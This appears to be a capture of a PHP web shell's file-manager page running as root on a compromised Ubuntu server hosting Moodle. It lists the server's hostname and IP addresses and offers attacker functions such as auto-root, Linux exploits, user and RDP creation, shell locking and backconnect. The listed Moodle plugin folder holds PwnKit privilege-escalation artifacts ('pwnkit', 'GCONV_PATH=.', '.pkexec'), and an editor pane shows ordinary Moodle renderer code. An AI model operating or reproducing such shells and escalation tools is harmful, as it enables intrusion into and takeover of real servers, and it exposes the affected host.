Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
question /
type /
shortanswer /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxrwxrwx
classes
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
edit_shortanswer_form.php
3.39
KB
-rwxrwxrwx
lib.php
1.68
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
question.php
6.27
KB
-rwxrwxrwx
questiontype.php
4.18
KB
-rwxrwxrwx
renderer.php
4.53
KB
-rwxrwxrwx
styles.css
1.16
KB
-rwxrwxrwx
version.php
1.1
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : renderer.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Short answer question renderer class. * * @package qtype * @subpackage shortanswer * @copyright 2009 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Generates the output for short answer questions. * * @copyright 2009 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class qtype_shortanswer_renderer extends qtype_renderer { public function formulation_and_controls(question_attempt $qa, question_display_options $options) { $question = $qa->get_question(); $currentanswer = $qa->get_last_qt_var('answer'); $inputname = $qa->get_qt_field_name('answer'); $inputattributes = array( 'type' => 'text', 'name' => $inputname, 'value' => $currentanswer, 'id' => $inputname, 'size' => 80, 'class' => 'form-control d-inline', ); if ($options->readonly) { $inputattributes['readonly'] = 'readonly'; } $feedbackimg = ''; if ($options->correctness) { $answer = $question->get_matching_answer(array('answer' => $currentanswer)); if ($answer) { $fraction = $answer->fraction; } else { $fraction = 0; } $inputattributes['class'] .= ' ' . $this->feedback_class($fraction); $feedbackimg = $this->feedback_image($fraction); } $questiontext = $question->format_questiontext($qa); $placeholder = false; if (preg_match('/_____+/', $questiontext, $matches)) { $placeholder = $matches[0]; $inputattributes['size'] = round(strlen($placeholder) * 1.1); } $input = html_writer::empty_tag('input', $inputattributes) . $feedbackimg; if ($placeholder) { $inputinplace = html_writer::tag('label', get_string('answer'), array('for' => $inputattributes['id'], 'class' => 'accesshide')); $inputinplace .= $input; $questiontext = substr_replace($questiontext, $inputinplace, strpos($questiontext, $placeholder), strlen($placeholder)); } $result = html_writer::tag('div', $questiontext, array('class' => 'qtext')); if (!$placeholder) { $result .= html_writer::start_tag('div', array('class' => 'ablock form-inline')); $result .= html_writer::tag('label', get_string('answer', 'qtype_shortanswer', html_writer::tag('span', $input, array('class' => 'answer'))), array('for' => $inputattributes['id'])); $result .= html_writer::end_tag('div'); } if ($qa->get_state() == question_state::$invalid) { $result .= html_writer::nonempty_tag('div', $question->get_validation_error(array('answer' => $currentanswer)), array('class' => 'validationerror')); } return $result; } public function specific_feedback(question_attempt $qa) { $question = $qa->get_question(); $answer = $question->get_matching_answer(array('answer' => $qa->get_last_qt_var('answer'))); if (!$answer || !$answer->feedback) { return ''; } return $question->format_text($answer->feedback, $answer->feedbackformat, $qa, 'question', 'answerfeedback', $answer->id); } public function correct_response(question_attempt $qa) { $question = $qa->get_question(); $answer = $question->get_matching_answer($question->get_correct_response()); if (!$answer) { return ''; } return get_string('correctansweris', 'qtype_shortanswer', s($question->clean_response($answer->answer))); } }
Close